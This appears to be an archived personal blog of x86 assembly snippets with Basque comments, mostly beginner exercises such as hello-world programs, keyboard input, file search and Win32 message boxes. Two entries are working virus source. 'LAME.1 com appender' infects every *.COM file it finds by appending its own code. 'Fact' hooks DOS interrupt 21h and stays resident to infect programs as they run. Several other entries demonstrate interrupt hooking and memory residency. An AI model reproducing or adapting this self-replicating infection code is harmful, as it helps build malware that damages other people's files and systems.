Killkir

hello worm fasm

2011-02-14T04:52:00.000-08:00


format PE
entry start
include 'win32a.inc'

section '.data' data readable writeable
;        handlercon HANDLE 0
  conhandle dd ?
  msg db  "All this worms are yours",0dh,0ah
  msgsz = ($ - msg)
  byteswr dd ?
section '.idata' import data readable writeable

  library kernel32,'KERNEL32.DLL',\
   user32,'USER32.DLL'

  include 'api\kernel32.inc'
  include 'api\user32.inc'

section '.text' code readable executable

start:
 invoke GetStdHandle, STD_OUTPUT_HANDLE
 mov dword [conhandle],eax

 invoke WriteConsole,dword [conhandle],msg,msgsz,[byteswr],0

 xor eax,eax
 invoke ExitProcess, eax

exit fasm

2011-01-20T23:59:00.000-08:00


; exit.asm
; FASM erabiliz win32 kode txikia
include 'win32ax.inc'

.data

.code


start:
      xor eax,eax
      invoke  ExitProcess,eax
.end start

win32 minimoa

2009-09-07T04:11:00.000-07:00

TITLE min.asm

COMMENT ;)
Code minimoa
ml /c /coff /Cp min.asm
/c: ez estekatu, /coff coff formatua /Cp case sensitive
link /subsystem:windows /libpath:c:\masm32\lib min.obj
;)

.386
.model flat, stdcall
option casemap :none ; case sensitive

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

.code

nagusi proc

invoke ExitProcess, 0

nagusi endp
end nagusi

0023 - LAME.1 com appender

2007-07-14T14:46:00.000-07:00

Klasiko bat



kodea segment para public code
 assume cs:kodea,ds:kodea

 org 100h

nagusia proc near
hasi:
 db 0e9h,0,0

comapp:
 call kalk
kalk:
 pop bp ; BP = IP
 sub bp, offset kalk

berreskuratu:
 lea si,[bp + offset lehen3]
 mov cx,3
 mov di,100h
 ; push di ezinbestekoa itzultzeko
 push di
 rep movsb

dtagorde:
 mov ah,1ah
 lea dx, [bp + offset dta]
 int 21h

infekzioa:
 mov ah,4eh
segi:
 lea dx, [bp + comatz]
 int 21h
 jc bukatu
 
 ; filehandler bx-i pasatu
 xchg bx,ax

 ; ireki
 mov  ax,3d02h
 lea  dx,[bp+OFFSET hide_dta+1eh]
 int  21h
 xchg ax,bx
 
 ; jauzi berria kalkulatu
 mov cx, bukaera-comapp
 mov  word ptr [bp+jauzia+1], cx

 ; hasieran kokatu
 xor cx,cx
 xor dx,dx
 mov ah,42h
 int 21h
 
 ; jauzia idatzi
 mov ah,40h
 lea dx,[bp+jauzia]
 mov cx,3
 int 21h
 
 ; Bukaerara mugitu
 xor cx,cx
 xor dx,dx
 mov ax,4202h
 int 21h
 
 ; gure kodea sartu!!
 mov ah, 40h
 mov cx,bukaera-comapp
 lea dx,[bp+comapp]
 int 21h
 
 ;itxi
 mov ah,3eh
 int 21h

hurrengoa:
 mov ah, 4fh
 jmp segi
 
 
bukatu:
 mov ah,09h
 lea dx, [bp + offset mezua]
 int 21h

 ; Aurreko DTA utzi
 mov  dx,80h
 mov  ah,1ah
 int  21h
 
 retn
 
 comatz db "*.COM",0
 lehen3 db 0cdh,20h,0
 jauzia db 0e9h,0,0
 mezua db '[comap ultralame vir]',10,13,'$'
 dta db 42 dup(?)
bukaera label near
nagusia endp
kodea ends
end hasi

0022 - Fact, moldatua

2007-07-07T13:16:00.000-07:00


title fact
comment ;P
Eten bektorea aldatzen du gure kodea egikari dezan.
xinplea, eta ongi funtzionatzen du msdos ingurunean.
;P

.model tiny
.code
; COM izango da
 org   100h

hasi:

 cli  ; clear interrupt table
 ; Lehenbizi eten bektorean (IVT) 21hren helbidea atera: 35h
        mov   ax,3521h
        int     21h
 ; es:bx helbidean uzten da
        mov   word ptr [int21_helbidea],bx
        mov   word ptr [int21_helbidea+2],es

 ; Orain gure helbidea ezarri: 25h
        mov   ah,25h
        lea     dx,int21_birusa
        int      21h
 
 
 ; TSR geratu, 27h bitartez
 xchg  ax,dx
 sti     
        int     27h

; Birusaren kodea...
 int21_birusa  proc    near
 ; exekuzioa  pasatu zaio int 21hri?
          cmp     ah,4bh
          jne      int21_exit

          mov     ax,3d01h
          int       21h
          xchg    ax,bx

          push    cs
          pop     ds

  ; payload sinplea...
   mov ah,09h
   lea  dx, virus_izena
   int   21h

          mov     ah,40h
          mov     cx,(bukatu-hasi)
          lea     dx,hasi
  int21_exit:
             db       0eah
  bukatu:
  int21_helbidea  dd       ?
  virus_izena   db      '[Fact] aldaketa',10,13,'$'

 endp

end       hasi

0021 - Lerroa irakurri

2007-07-04T03:22:00.000-07:00


title irakur.asm

Datuak segment para public 'data'
 mezua db 'Mesedez sartu zerbait: ','$'
 irakurritakoa db 11,11 dup(?)
Datuak ends


Kodea segment para public 'code'
 assume cs:Kodea,ds:Datuak

nagusia proc near

hasi:
 mov ax, Datuak
 mov ds, ax

 ; mezua atera
 mov ah,09h
 lea dx, mezua
 int 21h

 xor cx,cx
 xor dx,dx

 ; testua irakurri
 mov ah,0ah
 lea dx,irakurritakoa
 int 21h

 sub  ch,ch
 mov cl,irakurritakoa+1
 add  dx,2

 mov ah,4ch
 int 21h

nagusia endp
Kodea ends

end hasi

0020 - Karaktereak banan banan

2007-07-03T03:17:00.000-07:00


.model small

.data
cr equ 0ah
lf equ 0dh
mezua db 'Karaktere guztiak: ',cr,lf,'$'
dta db 128 dup(?)

.code
nagusia proc near
hasi:
 mov ax,@data
 mov ds,ax
 
 mov ah,09h
 lea dx,mezua
 int 21h
 
 ; Karaktere guztiak aterako ditugu:
 xor dx,dx
 xor cx,cx
 mov cx,128
 
segi:
 mov dl,cl
 mov ah,02h
 int 21h
 loop segi
 
 mov ah,4ch
 int 21h
 
nagusia endp
end hasi

001F - Zifraketa testa

2007-07-02T14:52:00.000-07:00


title crypt.asm

.model small

.code
;nagusia proc near
jauzi macro 
 mov ah,09h
 lea dx,jauzia
 int 21h
endm

start:
 mov ax,@code
 mov ds, ax
 mov es, ax

 mov ah,09h
 lea dx,mezuarrunta
 int 21h
 jauzi

 xor bx,bx
 lea si,mezuarrunta
 lea di,mezuzifratua
 mov al,09h
segi:
 mov ah, si[bx]
 ;; zifraketa: not
; not ah
 xor ah, al
 mov di[bx],ah
 
 inc bx
 cmp bx,23
 jnz segi
 
 mov ah,09h
 lea dx,mezuzifratua
 int 21h
 jauzi

decrypt:
 xor bx,bx
 lea di,mezuarrunta
 lea si,mezuzifratua
 mov al, 09h
segi2:
 mov ah, si[bx]
 ;; zifraketa: not
; not ah
 xor ah, al
 mov di[bx],ah
 
 inc bx
 cmp bx,23
 jnz segi2
 
 mov ah,09h
 lea dx,mezuarrunta
 int 21h
 jauzi
 
bukatu:
 mov ah,4ch
 int 21h



cr equ 0ah
lf equ  0dh
mezuarrunta db 'Hau errex irakurtzen da','$'
mezuzifratua db '.......................','$'
gakoa db 09h
jauzia db cr,lf,'$'

end start

001E - Datuak mugitu

2007-07-01T14:49:00.000-07:00


title mugitu.asm

.model small

.code
;nagusia proc near
jauzi macro 
 mov ah,09h
 lea dx,jauzia
 int 21h
endm

start:
 mov ax,@code
 mov ds, ax
 mov es, ax

 mov ah,09h
 lea dx,mezuarrunta
 int 21h
 jauzi

 cld
 lea si,mezuarrunta
 lea di,mezuzifratua
 mov cx,23
 rep movsb

 mov ah,09h
 lea dx,mezuzifratua
 int 21h
 jauzi

 mov ah,4ch
 int 21h

cr equ 0ah
lf equ  0dh
mezuarrunta db 'Hau errex irakurtzen da','$'
mezuzifratua db '.......................','$'
jauzia db cr,lf,'$'

end start

001D - Hook int21h

2007-06-30T04:41:00.000-07:00


title hooked.asm
.model small

.code
cr equ 0ah
lf equ 0dh

nagusia proc near
hasi:
 mov ax,@code
 mov ds, ax

 mov ax,3509h
 int 21h

 mov cs:word ptr int21zahar,bx
 mov cs:word ptr int21zahar,es
 mov ax,2509h
 lea dx,int21hberri
 int 21h

 mov ah, 4ch
 int 21h

int21hberri:
 mov ah,09h
 lea dx,mezua
 int 21h
 jmp cs:int21zahar
 mov ax,0cacah
 iret

nagusia endp
mezua db 'Harrapatuta!',cr,lf,'$'
int21zahar dd 0
dta db 128 dup(?)
end hasi

001C - Sintaxi laburtua, cs soilik

2007-06-29T04:26:00.000-07:00


title simple.asm

.model small

.code
cr equ 0ah
lf equ 0dh
nagusia proc near
hasi:
 mov ax,@code
 mov ds,ax

 mov ah,09h
 lea dx,mezua
 int 21h

 mov ah,4ch
 int 21h
 
nagusia endp
dta db 128 dup(?)
mezua db 'kode segmentua soilik',cr,lf,'$'
end hasi

001B - Begizta xinplea eta luzera

2007-06-25T14:34:00.000-07:00



title begizta.asm

Datuak segment para public 'data'
 mezua db 'Kode hasiera.',0ah,0dh,'$'
 zenbakiak db 10,3,2,6,5,3,6,11,9,2
 dta db 128 dup(?)
 kont db dta-zenbakiak
Datuak ends

Kodea segment para public 'code'
 assume cs:Kodea, ds:Datuak
nagusia proc near
hasi:
 mov ax, Datuak
 mov ds,ax

 mov cl, kont

 segi:
 mov ah,09h
 lea  dx,mezua
 int 21h

 loop segi

 mov ah,4ch
 int 21h
nagusia endp
Kodea ends
end hasi

001A - Denbora kalkulatu

2007-06-24T15:45:00.000-07:00


title 'proba.asm'

.model small

.data
 mezua db 'Denbora kalkulatzen ari naiz...',10,13,'$'
 orduak db ?
 minutuak db ?
 segunduak db ?
 msegunduak db ?

.code
nagusia proc near
hasi:
 mov ax, @data
 mov ds, ax

 ; Denbora kalkulatzera goaz
 mov ah,2ch
 int 21h

 mov orduak,ch
 mov minutuak,cl
 mov segunduak,dh
 mov msegunduak,dl

 call agurra

; ezberdintasuna kalkulatzen da
 sub dl,msegunduak
 jnc  sub_seg
 add dl,100
 dec dh

sub_seg:
 sub dh,segunduak
 jnc sub_min
 add dh, 60
 dec cl

sub_min:
 sub cl,minutuak
 jnc sub_ord
 add cl,60
 dec ch

sub_ord:
 sub ch, orduak
 jnc ok
 add ch,24

ok:
 ; irten
 mov ah,4ch
 int 21h
nagusia endp

agurra proc near
 xor ax,ax
 mov ah,09h
 lea dx, mezua
 int 21h
 mov cx,100
 rep nop
 ret
agurra endp
end hasi

0019 - Teklatuaren zain, bios

2007-06-23T15:22:00.000-07:00


title 'itxtekla.asm'
.model  small

.data
 mezua db 'Egon, tekla sakatu arte:',10,13,'$'
 
.code
nagusia proc near
hasi:
 mov ax, @data
 mov ds, ax
 
 ;mezua
 mov ah,09h
 lea dx, mezua
 int 21h
 
 ; teklaren zain: BIOSAREKIN
 mov ah,00h
 int 16h
 
 ;irten
 mov ah,4ch
 int 21h
nagusia endp
end hasi

0018 - Teklatukoa irakurri eta atera

2007-06-22T15:19:00.000-07:00


title logtekla.asm

Datuak segment para public 'data'
 mezua db 'Teklatutik jaso',10,13,'$'
 mezua2 db 'Jasotakoa:',10,13,'$'
 log db 15,0,'...............','$'
 ;log db 128 dup(?)
Datuak ends

Kodea segment para public 'code'
 assume cs:Kodea,ds:Kodea
nagusia proc near
hasi:

 mov ax,Datuak
 mov ds,ax

 ; mezua atera
 mov ah,09h
 lea dx,mezua
 int 21h

 ; teklatutik irakurri
 mov ah, 0ah
 lea dx, log
 int 21h

 ; irakurritakoa atera
 mov ah,09h
 lea dx,mezua2
 int 21h

 ; irakurritakoa atera
 mov ah,09h
 lea dx,log
 int 21h

 irten:
 mov ah,4ch
 int 21h

nagusia endp
Kodea ends
end hasi

0017 - Direktorioak lortu

2007-06-22T15:03:00.000-07:00


title direkto.asm

Datuak segment para public 'data'
 mezua db 'Direktorioa topatua',10,13,'$'
 izena db '*',0
 dta db 128 dup(?)
Datuak ends


Kodea segment para public 'code'
 assume cs:Kodea,ds:Datuak

nagusia proc near
hasi:

 mov ax,Datuak
 mov ds,ax

 ;dta ezarri
 mov ah,1ah
 lea dx, dta
 int 21h

 ;bilatu
 mov ah,4eh
 segi:
 xor cx,cx
 lea dx, izena
 ; atributua ez dago ongi, teorian 4bita aktibatuta...
 mov cl,00010000b
 int 21h

 jc irten
 
 ;atera izena
 mov byte ptr offset dta+43,'$' ; null gehitu
 mov dx,OFFSET dta+30  ; izena atera
 mov ah,09h   ; pantailaratu
 int 21h  

 mov ah,4fh
 jmp segi

 irten:
 mov ah,4ch
 int 21h

nagusia endp
Kodea ends
end hasi

0016 - Karakterea irakurri eta idatzi

2007-06-19T14:21:00.000-07:00


; tekla.asm

; karakterea irakurri eta idatzi

.model small

.data
mezua db 'Ok, tecla pulsada: x'
   db 10,13,'$'

.code
tekla proc near
hasi:
 push ax
 push ds
 mov ax, @data
 mov ds,ax

 mov ah,01h
 int 21h

 mov cl,al

 ; pantalilatik atera
 mov ah,09h
 lea si,mezua
 mov si[19],cl
 lea dx,mezua
 int 21h

 ;irteera
 mov ah,4ch
 int 21h

tekla endp
end hasi

0015 - Direktorioa lortu, aldatu

2007-06-18T15:11:00.000-07:00


title mugitu.asm

Datuak segment para public 'data'
mezua db 'Ok, mugitu gara',10,13,'$'
dta db 128 dup(?)
izena db 66 dup(?)
aldatu db '..',0
Datuak ends

Kodea segment para public 'code'
 assume cs:Kodea,ds:Datuak
nagusia proc near
hasi:
 push ax
 push ds
 mov   ax,Datuak
        mov   ds,ax

 ; momentuko direktorioa lortu
 xor ax,ax
 mov ah, 47h
 mov dl,00h
 int 21h

 mov cx,64

 ; mugitu
 mov ah,3bh
 lea dx,aldatu
 int 21h
 
 ; atera kokapena
 mov ah, 47h
 mov dl,00h
 int 21h

 ; irten
 mov ah,4ch
 int 21h

nagusia endp
Kodea ends
end hasi

0014 - Bilatu eta izena atera

2007-05-30T15:46:00.000-07:00


; bilatu.asm
; izen bat daukan fitxategia bilatzen du, 4eh bitartezt
title bilatu.asm


Datuak segment para public 'data'
 izenak db '*.OBJ',0
 mezua db 'OK, fitxategia topatua!',10,13,'$'
 fitxategi db 'aaaaaaaaa.aaa'
 DTA  db 128 dup(?)
Datuak ends



Kodea segment para public 'code'

 assume cs:Kodea, ds:Datuak, es:Datuak

nagusia proc near

hasi:

 push ax
 push ds
 mov ax, Datuak
 mov ds, ax
 mov es, ax

 ; DTA ezartzen dugu
 mov dx,offset DTA  
 mov ah,1aH   
 int 21h  

bilatulehena:

 mov ah,4eh

segibilatzen:

 lea dx,izenak
 int 21h
 jc irten

topatua:

 ; Izena pantailaratu
 mov byte ptr offset DTA+43,'$' ; null gehitu
 mov dx,OFFSET DTA+30  ; izena atera
 mov ah,09h   ; pantailaratu
 int 21h  

 ; mezua atera
 mov ah,09h
 lea  dx,mezua
 int 21h

 ; hurrengoa bilatzen dugu
 mov ah,4fh
 jmp segibilatzen

irten:
 mov ah,4ch
 int  21h

nagusia endp

Kodea ends

end hasi

0013 - Fitxategiak bilatu

2007-05-20T08:53:00.000-07:00


; bilatu.asm
; izen bat daukan fitxategia bilatzen du, 4eh bitartezt

title bilatu.asm



Datuak segment para public 'data'
 izenak db '*.OBJ',0
 mezua db 'OK, fitxategia topatua!',10,13,'$'
Datuak ends



Kodea segment para public 'code'

 assume cs:Kodea, ds:Datuak

nagusia proc near

hasi:

 push ax
 push ds
 mov ax, Datuak
 mov ds, ax


bilatulehena:

 mov ah,4eh

segibilatzen:

 lea dx,izenak
 int 21h

 jc irten


topatua:
 mov ah,09h
 lea  dx,mezua
 int 21h


 ; izena ateratzen dugu DTAtik
 ; ez du ongi egiten...

 mov ah,09h
 mov dx,9eh
 int 21h

 ; hurrengoa bilatzen dugu
 mov ah,4fh
 jmp segibilatzen

irten:

 mov ah,4ch
 int  21h

nagusia endp

Kodea ends

end hasi

0012 - Fitxategia sortu

2007-05-17T08:30:00.000-07:00


;; sortu.asm
; fitxategi bat sortzen duen kodea. 3ch deiarekin
; GARRANTZITSUA!!! : sartu 00h izenaren bukaeran

title sortu.asm



Datuak segment para public 'data'

;izena db 'C:\fitx',00h
izena db 'C:\asm\adib\fitxategia.asm',00h
errorea db 'Errorea fitxategia sortzerakoan',10,13,'$'

Datuak ends

;\



Kodea segment para public 'code'

assume cs:Kodea, ds:Datuak

nagusia proc near

hasi:

push ax
push ds
mov  ax, Datuak
mov  ds,ax



xor ax,ax
xor cx,cx
lea  dx,izena
mov ah,3Ch
int  21h

jnc bukatu
mov ah,09h

lea dx, errorea
int 21h

bukatu:

xor  ax,ax
mov ah,4ch
int  21h

nagusia endp

Kodea ends

end hasi

0011 - Kurtsorea kokatu

2007-04-15T13:41:00.000-07:00


; Kurtsorea mugitu BIOS deia erabiliz.


datuak segment para public 'data'
 mz db 'Hemen gaude',10,13,'$'
 x db 20
 y db 15
datuak ends

kodea segment para public 'kodea'

assume cs:kodea, ds:datuak
nagusia proc near
hasiera:
 mov  ax, datuak
 mov  ds, ax
 
 mov dl, x
 mov dh, y
 
 ; kurtsorea mugitu
 mov bh, 00h
 mov ah, 02h
 int 10h
 
 xor ax, ax
 
   ; Mezua atera
 mov ah, 09h 
 lea dx, mz
 int 21h 
 
 mov  ah, 4ch
 int  21h 
 ;ret
nagusia endp
kodea ends
end hasiera02h

0010 - kaixo, agurra

2007-02-16T09:03:00.000-08:00


title kaixo.asm

; kasu honetan kode segmentuan...
;datuak segment para public 'data'
;db agurra 'Kaixo',10,13,'$'
;datuak ends

kodea segment para public 'code'
db agurra 'Kaixo',10,13,'$'

assume cs:kodea, ds:kodea

nagusia proc near
hasi:

push ax
push ds

mov ax,kodea
mov ds,ax
pop ax

xor ax,ax
lea dx, agurra
mov ah,09h
int 21h

xor ax, ax
mov ah,4ch
int 21h

nagusia endp
kodea ends
hasi end

000F - resi

2006-08-22T03:37:00.000-07:00


; resi.asm
; memorian geratzeko modurik xinpleena.
; tasm resi.asm
; tlink /t resi.obj
; killkir - http://killkir.blogspot.com

kodea segment para public 'code'
 assume cs:kodea, ds:kodea

   org   100h
   
hasi:
 jmp sartu   
 
int21_zaharra dd 2 ;jatorrizko helbidea sartzeko

int21_berria:

    jmp cs:[int21_zaharra]  
    
sartu:

   ;;int 21ren helbidea jaso
    mov ax, 3521h
    int 21h
    mov word ptr int21_zaharra, bx 
    mov word ptr int21_zaharra+2, es 

   ;; Nirea ezarri: int21_berria
    mov  ax,2521h          
    push cs
    pop  ds
    mov  dx, offset int21_berria
    int  21h

    ;; 31h deia: memorian geratzen da
    mov ah, 31h
    mov dx, 60d  
    int 21h

kodea ends
end hasi

000E - Kopia.asm

2006-07-21T04:21:00.000-07:00


; kate baten kopia aldagai batetik bestera mugitzen du
Title kopia.asm

Datuak segment para public 'data'
 mezua db 'Kaixo mundua','$' 
 kopia db 'hutsa        $'
 tam   dw kopia-mezua
Datuak ends

NireKodea segment para public 'code'
; Ikustenb duzuen moduan DS edo Datu segmentua NireKodea segmentuan dago.
assume cs: NireKodea, ds: Datuak

kaixo proc near
nagusia:
    push ds
    push ax
    mov  ax, Datuak
    mov  ds, ax
    mov  es, ax    ; HAU ezinbestekoa da datuak mugitzeko!!
    pop  ax
    xor  ax, ax
    
    ; Kopia pantailaratzen dugu
    mov ah, 09h   
    lea dx, kopia 
    int 21h       
    
    ; KOPIA PROZESUA
    mov cx, word ptr [tam]
    lea si, mezua
    lea di, kopia
    rep movsb
    
    ; Kopia pantailaratzen dugu
    mov ah, 09h   
    lea dx, kopia
    int 21h       
         
    ; programa bukatzeko deia 
    mov     ah, 4ch
    int     21h  

kaixo endp
NireKodea ends
end nagusia

Sintaxi laburtua


; kate baten kopia aldagai batetik bestera mugitzen du
Title kopia.asm
.model small

.data
 mezua db 'Kaixo mundua','$' 
 kopia db 'hutsa        $'
 tam   dw kopia-mezua


.code

kaixo proc near
nagusia:
    push ds
    push ax
    mov  ax, @data
    mov  ds, ax
    mov  es, ax    ; HAU ezinbestekoa da datuak mugitzeko!!
    pop  ax
    xor  ax, ax
    
    ; Kopia pantailaratzen dugu
    mov ah, 09h   
    lea dx, kopia 
    int 21h       
    
    ; KOPIA PROZESUA
    mov cx, word ptr [tam]
    lea si, mezua
    lea di, kopia
    rep movsb
    
    ; Kopia pantailaratzen dugu
    mov ah, 09h   
    lea dx, kopia
    int 21h       
         
    ; programa bukatzeko deia 
    mov     ah, 4ch
    int     21h  

kaixo endp
end nagusia

000D - Pantailan idazten

2006-07-18T00:15:00.000-07:00


;; karak.asm
;; killkir
;; plantilla: programa nagusia
;; konpilazioa: tasm karak.asm
;; estekaketa: tlink karak

title ASCII karakatereak pantailaratzen


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Kode segmentua                          ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kodea  segment para public 'KODEA'
 assume cs:Kodea
Nagusia proc far 
 
   push ds
   xor  ax,ax
   push ax
   
   ; Datu segmentuak pantailan jartzen dugu
   mov  ax, 0b800h
   mov  ds ,ax
   
   ; bx = ax = 0 hasieratu...
   xor bx, bx
   xor ax, ax
   
begizta:

   ; DS + BX gunean (pantailan!) karakterea erakutsi
   mov [bx], al
   inc bx       ; aurrera egin atributora  
   mov [bx], 70h
   
   inc bx       ; aurrera hurrengo posiziora
   inc al       ; aurrera hurrengo karakterera
   
   jnz begizta  ; ax = ah + al. al 0000 0000 denean ah=0000 0001
   
   ; Irteera
   mov ah, 4ch
   int 21h           ; irteera sistema deiarekin
   
Nagusia endp
Kodea ends
end Nagusia

000C - NEAR funtzioak, hurbileko deiak

2006-05-15T09:14:00.000-07:00


; PrintFuntzioa
; Mezu bat pantailaratzen duen kodea, funtzio baten bitartez
; Garrantzitsuena parametro pasatzea da.
; Konpilazioa: tasm print.com
; Estekaketa:  tlink /t print.obj
; Killkir

title PrintFuntzioa

Datuak segment para public 'data'
mezua db 'Kaixo mundua',10,13,'$'   ; $ jarri behar zaio kate amaiera adierazteko
Datuak ends

NireKodea segment
assume cs: NireKodea, ds: Datuak

kaixo proc near
nagusia:
 push ds
 push ax
 mov  ax, Datuak
 mov  ds, ax
 pop  ax
 
 mov  dx, offset mezua
 push dx
 call idatzi
 int 20h        ; programa bukatzeko deia

kaixo endp
 
;;;;;;;;;;;;;;;;;;;;;
; print funtzioa
;;;;;;;;;;;;;;;;;;;;;
idatzi proc near
 push bp              ; hitzaurrea
 mov  bp,sp
 
 mov dx,[bp + 4]      ; lehen parametroa jasotzen dugu
 mov ah, 09h          ; AH=09H sistema deia, katea pantailaratzeko
 int 21h              ; Sistema deia eragiten da
 
 mov  sp, bp          ; irten baino lehen, berreskuratu egoera
 pop  bp              ; kitto
 
 ret  2                ; ret, funtziotik irtetzeko, 2 pasatutako parametroarengatik
idatzi endp

NireKodea ends
end nagusia

000B - Aingurak

2006-05-08T11:29:00.000-07:00


;aingura.asm 
;kode zati bat DOSen eten bektorean sartzen du,
;zehazki fitxategia irekitzeko deian.
;beraz, dei bat dagoenean kode hau egikarituko da.
; killkir

title AINGURA, eten bektorean gure kodea sartzen

datuak segment para public 'datuak'
 agurra db 'Hemen nago, etenetan ainguratuta',13,10,'$'
 fitxategia db 'aingura.asm'
datuak ends

kodea segment para public 'kodea'
 assume  cs:kodea,ds:datuak
nagusia proc near
       push  ds
       push  ax
       mov   ax, datuak
       mov   ds,ax
       pop   ax
       
    ; eten bektorearen 3eh deian gure_kodea sartzen dugu
       mov   al,3eh
       mov   dx, seg nire_kodea
       mov   ds,dx
       lea   dx, nire_kodea
       mov   ah,25h
       int   21h
       
       ; orain probatzen dugu ea zer gertatzen den.
       mov ah, 3eh
       int 21h

       lea  dx, agurra
    mov  ah,09h
       int  21h
       
       ret

nagusia endp

;; Eten bektorean sartuko dugun kodea
nire_kodea proc far
   lea  dx, to_mezua
   mov  ah,09h
      int  21h
 
      iret
   to_mezua db 'Hemen nago, etenetan ainguratuta$'
nire_kodea endp

kodea ends
end nagusia

000A - Datuak hasieratzen

2006-05-05T09:09:00.000-07:00


; Datu definizioa
;; datu definizio modu ezberdinak
; (plantilla: programa nagusia)
; konpilazioa: tasm datuak
; estekaketa: tlink datuak

title Datuak


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Datu segmentuaren definizioa            ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Datuak  segment para public 'DATUAK'
 db 'Kaixo'
 
 ; sinboloak
 Konst equ  666
 Deabru=666
 Pi    equ  3.1415
 ; Baliokidea
 ; Pi=3.1415
 Pi2   equ  31.415/10
 Zen   equ  4*Pi
 
 ; zenbakiak
 adina  db 16
 gaina  db 255
 portua dw 65535
 
 ; arrayak edo matrizeak
 taula1 db 0,0,0,0,0
 ;; taula1-en baliokidea:
 taula2 db 5 dup(0)
 
 taula3 dw 23452,34,-23435,34,1
        dw 65533,3424,0,-1,236
 
 ; Hasieratu gabe:
 erantzuna dw ?
 
 ; taula hau: taula dw ?,?,?,?,?,?,?,?,?,?,?,?
 taula_misteriotsua dw 12 dup(?)
 
 ; Kateak
 izena db 'killkir'
 Mezua db 'Ongi etorria adibide honetara'
       db 'erreza egiten al zaizu mihiztadura?'
       db 'espero baietz'

 ; Desplazamenduak ere gorde daitezke
 ; hemen = despl.
 hemen dw Mezua
 
 ; segmentu ezberdin batean egonez gero
 ; han = segm + despl
 ;;han   dd urrutikoa
 
Datuak ends

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Kode segmentua                          ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kodea  segment para public 'KODEA'
 assume cs:Kodea, ds:Datuak
Nagusia proc far 
   ; Irteera prestatzen dugu, 0 bat pilaratuz
   push ds
   xor  ax,ax
   push ax
   
   ; Datu segmentua prestatzen dugu
   mov  ax,Datuak
   mov  dx,ax
   

   
      ret           ; irteera
Nagusia endp
Kodea ends
end Nagusia

0009 - Modulua, plantilla bat

2006-05-05T08:46:00.000-07:00


;; mihiztadura lengoaiako kode plantilla bat.
;; killkir
;; plantilla: modulu laguntzailea
;; konpilazioa: tasm moduloa

title Nire Modulua

public Modulua

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Datu segmentuaren definizioa            ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Datuak  segment para public 'DATUAK'
db 'Kaixo'
Datuak ends

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Kode segmentua                          ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kodea  segment para public 'KODEA'
assume cs:Kodea, ds:Datuak

;; far jarri beharko genuke nagusiaren kode segmentu berdinean badago.
;; near jarri badugu, orduan Kode segmentua berdina da: Kodea
Modulua proc near

 ;;;;;;;;;;;;;;;;;;;
 ;;;;; KODEA ;;;;;;;
 ;;;;;;;;;;;;;;;;;;;

    ret           ; itzuli kode nagusira
Modulua endp
Kodea ends
end Modulua

0008 - Nagusia, plantilla bat

2006-05-05T08:45:00.000-07:00


;; mihiztadura lengoaiako kode plantilla bat.
;; killkir
;; plantilla: programa nagusia
;; konpilazioa: tasm nagusia
;; estekaketa: tlink nagusia
;; probatu: nagusia && echo OK

title Nire Programa

;; Aukera: moduluak sartzea
;; extrn Modulua:near
; kasu horretan biak konpilatu eta bukaeran
; tlink nagusia modulua

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Meta segmentua (pila) definitzen da     ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Meta segment para public 'META'
 db 64 dup ('META    ')
Meta ends

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Datu segmentuaren definizioa            ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Datuak  segment para public 'DATUAK'
 db 'Kaixo'
Datuak ends

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Kode segmentua                          ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Kodea  segment para public 'KODEA'
 assume cs:Kodea, ds:Datuak, ss:Meta
Nagusia proc far 
   ; Irteera prestatzen dugu
   push ds
   xor  ax,ax
   push ax
   
   ; Datu segmentua prestatzen dugu
   mov  ax,Datuak
   mov  dx,ax
   
   ;;;;;;;;;;;;;;;;;;;
   ;;;;; KODEA ;;;;;;;
   ;;;;;;;;;;;;;;;;;;;
   call Modulua
   
      ret           ; irteera
Nagusia endp
Kodea ends
end Nagusia

0007 - kaixowin32

2006-04-29T10:11:00.000-07:00


;kaixowin32.asm
;killkir
;Mezutxo bat pantailaratzen du lehio batekin.
;windows-eko liburutegiak erabiltzen ditu
; ml: coff formatoa eskatu behar diogu eta Cp mayus/minus errespetatzeko
;ml /c /coff /Cp kaixowin32.asm  
;link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib kaixowin32.obj user32.lib kernel32.lib
.386
.model flat, stdcall
ExitProcess  PROTO     :DWORD
MessageBoxA PROTO      :DWORD, :DWORD, :DWORD, :DWORD
.data
caption  db "Lehenengo win32 kodea",0
mezua     db "Kaixo mundua, w32 mihiztadura lengoaian",0
.const
NULL     equ  0
MB_OK     equ  0
.code
Nagusia:
     INVOKE    MessageBoxA, NULL, ADDR mezua, ADDR caption, MB_OK
     INVOKE    ExitProcess, NULL
end Nagusia

0006 - MASM kode minimoa

2006-04-29T06:46:00.000-07:00


; Kode minimoa idazkera sinplifikatuan
; killkir
; TASMrekin errorea emango digu
;E:\TASM>tlink minimoa.obj
;E:\TASM>Turbo Link  Version 7.1.30.1. Copyright (c) 1987, 1996 Borland International
;Error: Invalid entry point offset
;Fatal: No program entry point
; MASM rekin:
; ml /c minimoa.asm
; link /SUBSYSTEM:WINDOWS minimoa.obj
.386                  ; prozesadorea
.model flat, stdcall  ; kodea mota  
.data                 ; datu segmentua
.code                 ; kode segmentua
    Nagusia:
    end Nagusia

